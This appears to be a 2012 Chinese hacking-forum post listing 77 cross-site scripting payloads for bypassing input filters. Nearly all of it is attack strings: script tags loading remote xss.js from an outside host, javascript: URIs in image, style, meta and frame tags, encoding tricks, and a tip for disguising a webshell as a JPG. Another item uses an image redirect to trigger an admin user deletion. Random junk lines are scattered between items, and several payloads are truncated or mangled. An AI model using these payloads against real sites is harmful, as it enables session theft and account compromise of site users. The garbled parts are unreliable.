中国网络渗透测试联盟
标题:
xss详细利用大全1
[打印本页]
作者:
admin
时间:
2012-9-13 17:04
标题:
xss详细利用大全1
跨站图片shell
9 C: f( z$ I6 m) q1 e1 n# p
XSS跨站代码 <script>alert("")</script>
7 U1 ^6 F' r; h" u6 U+ P
& A p4 a& X, I. C1 @9 u6 H
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
6 x; e8 X% p @$ l. t) O
0 |- d/ z* R% S) l) H% v) n3 R
! H1 {' A: {8 U1 R4 ?: t
( o+ P- i+ e" s5 D: W" [6 w
1)普通的XSS JavaScript注入
4 x* v4 {/ E0 n
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
1 D, b6 X1 Q" k1 T' E
% c+ V9 o3 P. @0 i/ Y
(2)IMG标签XSS使用JavaScript命令
2 ] P( v# a4 q0 S9 h
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
, i1 \& F; e8 x; u+ X e7 Z6 E
9 d3 D t7 P$ K8 g4 e C- u; v
(3)IMG标签无分号无引号
9 a1 n( _; X" C' P. ]6 N
<IMG SRC=javascript:alert(‘XSS’)>
# E! q. `+ @* g; R' o7 k
% x1 p- `$ T+ S4 G; w2 l0 e
(4)IMG标签大小写不敏感
0 S7 F. B, J' W; n+ Z0 F) I* N
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
$ h n- b* n m* j; T5 P
5 [! j0 L+ I8 ^
(5)HTML编码(必须有分号)
$ B! N% X% j$ j8 l8 S/ Y* `
<IMG SRC=javascript:alert(“XSS”)>
7 {8 e8 P6 Q. S" u5 ^4 p* k
' y; ?6 R Q+ v1 v
(6)修正缺陷IMG标签
. {: F! I* s* `
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
7 L9 o; p; [- f* d! n
^$ p$ ^6 D/ A9 y
(7)formCharCode标签(计算器)
) o/ k/ o6 S2 x' e: r: U* P
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
/ h. [# S1 n7 `0 y/ M2 ^& K/ ]
5 y+ X" A0 q; l1 u, {
(8)UTF-8的Unicode编码(计算器)
3 @! I1 P+ N! X4 L" d1 K4 H
<IMG SRC=jav..省略..S')>
3 n3 F& r+ e& z, ?1 F7 Q
) a* `" y( k( v! w8 Z
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
! u+ v& e. \: \( K& t
<IMG SRC=jav..省略..S')>
0 m5 p% `7 l% P* \2 X
( y9 {7 K. H9 j O- T
(10)十六进制编码也是没有分号(计算器)
9 g- a) w7 F) S- L0 u$ `
<IMG SRC=java..省略..XSS')>
v; I' G! i0 G/ Z& D
4 D. b/ t0 Z! k2 t& q5 @8 t
(11)嵌入式标签,将Javascript分开
{9 I, h% d0 o6 Z7 P. |* B) D. @8 ~
<IMG SRC=”jav ascript:alert(‘XSS’);”>
6 r Y& }$ ?7 k) B2 \
) R6 o" L* Q. D# d
(12)嵌入式编码标签,将Javascript分开
$ A2 H4 y- o3 {" D
<IMG SRC=”jav ascript:alert(‘XSS’);”>
1 O" G3 |4 _7 h
$ O" h, n/ o3 n9 F( A' ~* m
(13)嵌入式换行符
l& z9 C/ w e- o& e9 N3 W
<IMG SRC=”jav ascript:alert(‘XSS’);”>
7 i) A, y _8 h0 P
+ T) f Z. T( A$ e1 J% S
(14)嵌入式回车
1 L) @1 S7 P/ y' M1 v- v
<IMG SRC=”jav ascript:alert(‘XSS’);”>
( B* Z3 ^' K6 J: R
1 Z5 g" e' |, Y& H1 B2 F6 G$ e
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
- ~$ p" j7 Z- F# @4 L9 z
<IMG SRC=”javascript:alert(‘XSS‘)”>
9 M9 P s8 S$ g! x
( |) G/ F+ e! t1 b
(16)解决限制字符(要求同页面)
3 U& P: G. l7 L# p( K# t2 @
<script>z=’document.’</script>
5 P1 \" l# v' A/ l0 w3 k0 N& u
<script>z=z+’write(“‘</script>
$ k6 r3 r9 ^- I* Z0 @( [: c
<script>z=z+’<script’</script>
4 b( Q. N7 n" N; u- V
<script>z=z+’ src=ht’</script>
9 n" N5 o+ ]. n/ U5 b# `
<script>z=z+’tp://ww’</script>
6 n K( V7 Y0 t/ ]' f; [
<script>z=z+’w.shell’</script>
' w8 j* q5 Z; F* c3 ]4 Y5 {
<script>z=z+’.net/1.’</script>
- z/ j5 j% \8 d; E
<script>z=z+’js></sc’</script>
; R0 ]4 [( D! @
<script>z=z+’ript>”)’</script>
M/ \2 r# v$ h& I& ]' V9 {% y0 [- F
<script>eval_r(z)</script>
* V0 T: ?' N" b
. A, i+ L5 g3 |4 ]
(17)空字符
& e% i1 G8 n$ o ?7 b, R
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
, Z" V2 i8 \* E! s
$ @5 E5 g, k/ r) N( b: ^1 J5 }
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
# S1 C& z& q7 R8 Z1 D! n2 [2 t8 j
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
" R$ v3 h& N+ w. b
/ {2 ~4 d, h" @( {+ Z
(19)Spaces和meta前的IMG标签
$ y) {( t9 ?5 S9 v, r1 F% e s/ }3 a
<IMG SRC=” javascript:alert(‘XSS’);”>
: @$ d) [1 q4 q/ }2 r6 a* C9 K
8 O; F6 Q. v4 C$ @6 I+ [1 B3 V2 J
(20)Non-alpha-non-digit XSS
/ a- D8 Q7 { Q, B+ P
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
" p8 r6 _8 G* P
! Y0 x: S$ m1 J; g q
(21)Non-alpha-non-digit XSS to 2
' K; K: I1 V6 v4 q( o4 r: W. F* ?
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
* V; q3 S: x' O0 v
2 U$ B) \% t, Z: Y. |" [) o [' P4 U
(22)Non-alpha-non-digit XSS to 3
1 D& N7 m. b- B @
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
7 p0 w, y1 W6 K3 Q8 O
9 k; U0 Z, f- i8 d' F- v& b
(23)双开括号
$ o" A4 ~* D2 L |2 U2 ?5 ~( f
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
& L5 g a( c5 F+ L
5 P& {2 j# s- U0 a7 O4 M" T' v% V
(24)无结束脚本标记(仅火狐等浏览器)
8 |( d) C) S' ~( }' F
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
4 ` w; c7 n+ U/ s t, }
/ b0 u! q9 \# a u
(25)无结束脚本标记2
7 e' s& f3 l) l: V0 m3 S
<SCRIPT SRC=//3w.org/XSS/xss.js>
, H$ k+ L' A+ a8 Q8 e6 n0 i' {5 r0 {
$ f m/ z+ G0 D( k
(26)半开的HTML/JavaScript XSS
! b3 C" x. Z }% A- y: s/ l
<IMG SRC=”javascript:alert(‘XSS’)”
8 a$ h1 F$ @& N, K5 g1 u. T* u W
! l4 K" o" [+ V
(27)双开角括号
1 s- p5 T j5 O. M8 v
<iframe src=http://3w.org/XSS.html <
0 }9 I2 I) x6 a$ `0 W5 ~
+ X7 p( J ]5 _: q. }6 A6 V$ u
(28)无单引号 双引号 分号
6 Y) A2 S% Q/ x7 v2 v( u6 v
<SCRIPT>a=/XSS/
% E! I+ I! R' H
alert(a.source)</SCRIPT>
2 J2 k; |9 w6 N- _
" ]6 O' h- _/ V; z, B
(29)换码过滤的JavaScript
6 ?, c+ @! i. y0 s. X
\”;alert(‘XSS’);//
2 Q0 U* u5 X" p& o, a' B
( D2 f- [' v; R+ H) P- V$ ^% e9 f. q
(30)结束Title标签
d* I; Z/ A9 }% O& T
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
; J& Q5 q2 C5 d8 c
8 b# V5 R" ]+ w2 ?
(31)Input Image
+ v) s0 C% ~& N; @5 s+ y
<INPUT SRC=”javascript:alert(‘XSS’);”>
4 Q% `3 n+ s7 Y8 Y: ~
4 n% B. S' u! r: T/ |
(32)BODY Image
7 i" |8 X- }, \0 L7 z/ J4 `! H$ D
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
$ O# F: X Y9 c9 h4 l x$ K
% W4 J6 X& [8 `% i" f2 y. ^+ i
(33)BODY标签
9 Y: S; I! A7 X5 H3 q, w$ f! c
<BODY(‘XSS’)>
3 l" ?$ M/ _& O; V& _1 ^6 X
8 I; p1 I* `. z- }' {. e5 r( D
(34)IMG Dynsrc
' k2 V$ q9 b+ M+ k$ U
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
6 c/ W5 s) n4 m. a' q
; R4 }( g! ?2 Q& S4 }4 w: I
(35)IMG Lowsrc
* Q4 b6 V( k8 l
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
; Z% J' W& z$ f6 X4 Q# ^$ m
5 e. S9 s n# K( d% B* P: ?& R
(36)BGSOUND
4 n' [& E8 {5 X0 f
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
0 ]2 O' P& n8 L& A8 x3 T* T' U
( g, W4 p( G9 `8 h( C8 x
(37)STYLE sheet
/ ~' {: E2 k0 [
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
( J& R- v7 C1 S0 [, @
0 d) l4 Z: u N* J9 B
(38)远程样式表
5 j) W0 q: i# T
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
, f$ X! {- z7 `: e( q
7 l$ b" u8 ]% B, f; Y
(39)List-style-image(列表式)
' E+ X% C* G+ r2 S
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
3 ]+ g1 F D. F& b% N/ s* M/ n
! z8 G* v$ x6 d _% @
(40)IMG VBscript
8 [/ }1 f6 g% ~/ o7 J8 A& o, A
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
( j( Q9 ^, R i
/ J3 O$ b0 y7 R7 l% m5 ?! V
(41)META链接url
/ X) Y' I/ V+ C+ D
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
4 |- R4 U4 H5 M8 q/ u5 J. }* H
5 W% z: e' C5 e: q4 H
(42)Iframe
! {3 p1 s7 j% h. }
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
: j8 G( V/ R# j9 g8 O
(43)Frame
5 Z) K1 P; m) I5 W! n. ]
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
' _" W& @. K5 ]* Z
1 j. \/ Q' N; F4 [/ p5 V/ J6 N4 B
(44)Table
/ ~2 v) ~: \! w, p9 N
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
+ \" f" I6 k. S
6 L6 i# Y) k0 W
(45)TD
* _ P+ |" ]+ K5 \6 @7 q; Z. _0 F
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
X* {, `& t) x4 v
' e- E- Z2 @- r' R7 w
(46)DIV background-image
" g4 x5 N! e0 `; g8 a# e! z
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
6 ?) Q( }; e4 Z2 F/ d
2 Q r+ e; v% Z4 L; l
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
& f4 O9 h, M/ v5 i7 A; Q
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
6 _( `. A$ J K- ]- M! m9 F
, L& ^8 w4 m7 W/ b R3 b
(48)DIV expression
1 I9 ]$ i* s: S4 p i) s0 C9 D+ r
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
& t0 u9 A( f2 e
/ Z( z1 W: `+ L% ]5 ^; I2 s: \: g
(49)STYLE属性分拆表达
# \. n' @! ], k( A8 B
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
, @( r3 D$ O' e. g! K3 c
; Z! i9 [& e" I' I7 M ?
(50)匿名STYLE(组成:开角号和一个字母开头)
* w. d9 u# B0 U) ?9 S
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
6 [ t* u; t5 P9 y5 _* ]2 s0 B
6 t) P- @, r, O5 o+ \
(51)STYLE background-image
8 K3 U! [- L1 c( t5 X# L
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
& R7 [6 U4 u' S) B. ]0 G2 R
1 {$ t H/ |, P5 `
(52)IMG STYLE方式
: W) ^) G* c ]4 |! K! q0 C
exppression(alert(“XSS”))’>
# ]/ o. `0 n, C
: Z% g4 @* b6 a2 k2 Y
(53)STYLE background
1 o+ Q2 q# z0 c. M
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
1 A: V: B; L) }: z* c* g
1 x2 t# c! J1 b( ^& C0 ^3 Q7 e
(54)BASE
2 k( `4 V% S" R; q$ y6 Y* l
<BASE HREF=”javascript:alert(‘XSS’);//”>
7 J* i3 E7 J3 O( _4 L2 G7 Z
2 F3 g% k; H: ^$ N
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
+ {6 g) b; @; ?% u0 U: b
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
+ d% W$ q8 w, @( S6 \
1 S5 I$ Y, |/ n
(56)在flash中使用ActionScrpt可以混进你XSS的代码
9 F: n! x/ c0 d, G7 v
a=”get”;
7 e5 ~& i6 X, {- W/ p0 b B8 U
b=”URL(\”";
) l9 V6 k1 [; P5 S, p% d2 j
c=”javascript:”;
$ J7 z" B2 u! f8 G' s
d=”alert(‘XSS’);\”)”;
4 m9 o0 M: ~" _- @1 ]3 ~
eval_r(a+b+c+d);
$ `0 v" p) |( }6 p1 E% N
5 Q, g: [ m1 I6 R/ C9 {8 q
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
" W/ R, E) b( c2 y9 H4 @8 g- y
<HTML xmlns:xss>
L9 _- A& I& _& s) h' ]1 A6 R6 H
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
) h. c9 d$ a5 l7 x/ E( `0 B
<xss:xss>XSS</xss:xss>
( E6 I" a* U/ ^5 y5 P* X
</HTML>
. C0 n9 `( Q5 }: {! I
$ d0 E+ Z2 p% y( Z, T
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
" i+ b/ p" j1 z/ }6 d
<SCRIPT SRC=””></SCRIPT>
. H7 ^- t- @6 u. l
0 e" d4 M8 z8 |" W1 u+ f
(59)IMG嵌入式命令,可执行任意命令
6 Z' c9 G. y* g/ X- Z2 E
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
: M5 y" C/ t5 I3 h4 ]5 x3 ^* |
j/ Q# J; t, |0 k
(60)IMG嵌入式命令(a.jpg在同服务器)
; G3 x) t/ L/ w! d" k
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
, r) |! g" R+ N3 m: R
# y3 e Y" o g& v3 l& ~( N3 N
(61)绕符号过滤
, g: ^! \: f; z; ^- d$ } q
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
. s* G6 x2 o0 c* G1 H5 i7 I. j
/ |9 a* o' N% L: y2 U% F# Y
(62)
5 ^& j8 P& P3 K% Y) i: f/ r7 Z! M. ]
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
8 N9 f. | g3 U r$ u
8 B8 v% u% n) v2 S$ S( w3 h y
(63)
9 _1 {9 r# x8 O+ Y+ {$ D) U
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
+ K( ]/ y0 s& d$ G
! Z" l* `7 Z& v4 S {% i& V
(64)
! Z* T% A+ r- k6 _
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
) s" e9 w+ D% i
- f0 X" P, y3 D0 m, W9 d! @, `2 n' {) Y
(65)
8 L+ o$ _0 V. Z+ M+ Y* R1 G, Y1 Z
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
' Z3 S1 z% u* l; o' [
' ~) n& |3 O o$ s% }( E
(66)
2 U% s G& E. U2 [7 C" i
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
' x* V' B' [5 i- _/ k3 A
, v4 F& a1 @9 Z5 n" t9 b7 L8 P, U5 \( L
(67)
7 l* H3 I( w* Q" _" }) R- S1 E
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”></SCRIPT>
7 Y$ o* p, I5 }4 _7 w5 v5 @4 G
! F0 {0 i5 J( J. C& t
(68)URL绕行
8 \" @, ~/ r1 X! t% ?
<A HREF=”
http://127.0.0.1/
”>XSS</A>
/ q t4 t: c/ t+ F
: M: A6 L5 f' q, r0 f
(69)URL编码
: Q% q$ U7 j7 v6 q% E& ~
<A HREF=”
http://3w.org
”>XSS</A>
8 {2 {: N5 G( {' |, _$ B% D. f! U
. y z. V/ s4 o! ~
(70)IP十进制
" P) u1 ^* Z: c; s1 b
<A HREF=”http://3232235521″>XSS</A>
' B+ a/ B0 L4 h; Z7 f
9 c+ }; Y: c3 i5 B, W, {! d7 c
(71)IP十六进制
( y: h3 C5 a1 V9 }- X7 v- D6 e. P
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
5 C5 h, s) n1 z5 k- o
* c- m; h& C: W2 f" V& r
(72)IP八进制
5 A5 o3 \- I# H! ?
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
7 u( j4 v7 h9 @
?& o' t' C+ k7 z
(73)混合编码
( d' u6 {( ]: m2 P# K Y8 q- `
<A HREF=”h
* I. |$ \! o8 n1 }+ f8 ~* }
tt p://6 6.000146.0×7.147/”">XSS</A>
* H. L* B& r, T3 y
3 a! w( @" z! d& c w6 l4 h
(74)节省[http:]
, v7 \! l9 B: l8 m( Z' x) Q
<A HREF=”//www.google.com/”>XSS</A>
+ z% W8 N9 U- h/ ]
3 T: q: k' O3 ?& c! B4 B8 a
(75)节省[www]
# Y1 W" _( G" A- E; H1 ~. \
<A HREF=”
http://google.com/
”>XSS</A>
+ P, b% X: B5 S! F& L) i8 s; `
; V+ q5 r0 O4 i, {3 w. C
(76)绝对点绝对DNS
' y3 ^" P: {6 I: ]8 q2 }% s
<A HREF=”
http://www.google.com./
”>XSS</A>
" `( A3 _: s8 L. y9 |" ~
) ^7 M% H' ]; B1 K- Y, t6 ~
(77)javascript链接
, ^8 y6 E6 P7 X+ X0 y, w1 o
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
- t% Z8 `0 F! S4 J
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2